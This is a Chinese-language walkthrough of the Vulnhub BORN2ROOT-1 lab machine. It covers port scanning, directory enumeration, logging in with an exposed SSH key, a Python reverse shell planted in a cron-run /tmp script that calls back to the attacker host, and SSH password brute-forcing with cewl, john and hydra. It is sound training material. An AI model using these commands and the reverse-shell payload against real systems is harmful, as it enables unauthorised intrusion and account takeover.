Vulnhub 197 BORN2ROOT-1

 

考点:id_rsa,hydra

靶机链接:https://www.vulnhub.com/entry/born2root-1,197/

环境配置

名称 IP
Kali Linux 10.0.2.24
BORN2ROOT-1 10.0.2.40

初步打点

端口扫描

$ export rip=10.0.2.40
$ sudo nmap -v -A -p- $rip
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 6.7p1 Debian 5+deb8u3 (protocol 2.0)
| ssh-hostkey: 
|   1024 3d:6f:40:88:76:6a:1d:a1:fd:91:0f:dc:86:b7:81:13 (DSA)
|   2048 eb:29:c0:cb:eb:9a:0b:52:e7:9c:c4:a6:67:dc:33:e1 (RSA)
|   256 d4:02:99:b0:e7:7d:40:18:64:df:3b:28:5b:9e:f9:07 (ECDSA)
|_  256 e9:c4:0c:6d:4b:15:4a:58:4f:69:cd:df:13:76:32:4e (ED25519)
80/tcp    open  http    Apache httpd 2.4.10 ((Debian))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 2 disallowed entries 
|_/wordpress-blog /files
|_http-title:  Secretsec Company 
|_http-server-header: Apache/2.4.10 (Debian)
111/tcp   open  rpcbind 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          42589/udp   status
|   100024  1          44269/udp6  status
|   100024  1          59185/tcp6  status
|_  100024  1          60456/tcp   status
60456/tcp open  status  1 (RPC #100024)

WEB测试

端口80

1

获得用户名三个 martin hadi jimmy

访问robots.txt获得两个目录

2

两个目录都无有用信息

$ gobuster dir --url http://10.0.2.40 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt  -x .php 

3

访问icons目录发现目录可访问

4

发现ssh登录认证密钥

5

获得权限

martin

6

这就尴尬了,查一下这个异常报错是因为DSA密钥的问题,可以修改配置文件 或者ssh登录时加参数 -o PubkeyAcceptedKeyTypes=+ssh-rsa

7

咋的,还得输入密码,目测是.bashrc 加了登录启动脚本,回车一下绕过了,还是看看这个脚本

8

下载文件发现wgetcurl都不能用

还是修改.ssh/config添加PubkeyAcceptedKeyTypes +ssh-rsa

9

通过sftp上传linpeas.shpspy

jinmy

通过linpeas.sh发现

10

jimmy权限每隔五分钟运行/tmp/sekurity.py去/tmp目录发现文件不存在,那就新建文件反弹shell了

新建文件/tmp/sekurity.py 内容为

import sys, socket, subprocess, os
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('10.0.2.24', 444))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
p = subprocess.call(["/bin/sh", "-i"])

过了几分钟收到反弹shell

11

hadi

$ cewl -w pass http://10.0.2.40/

看了看,把martin hadi jimmy也加到pass里

使用john生成增强字典

$ john --wordlist=pass --rules=best64 --stdout >pass2

使用hydra爆破用户hadi的密码

$ hydra -l hadi   -P pass2  -f 10.0.2.40 ssh

12

提权

登录上去发现文件.gdb_history应该是直接可以获得root权限

13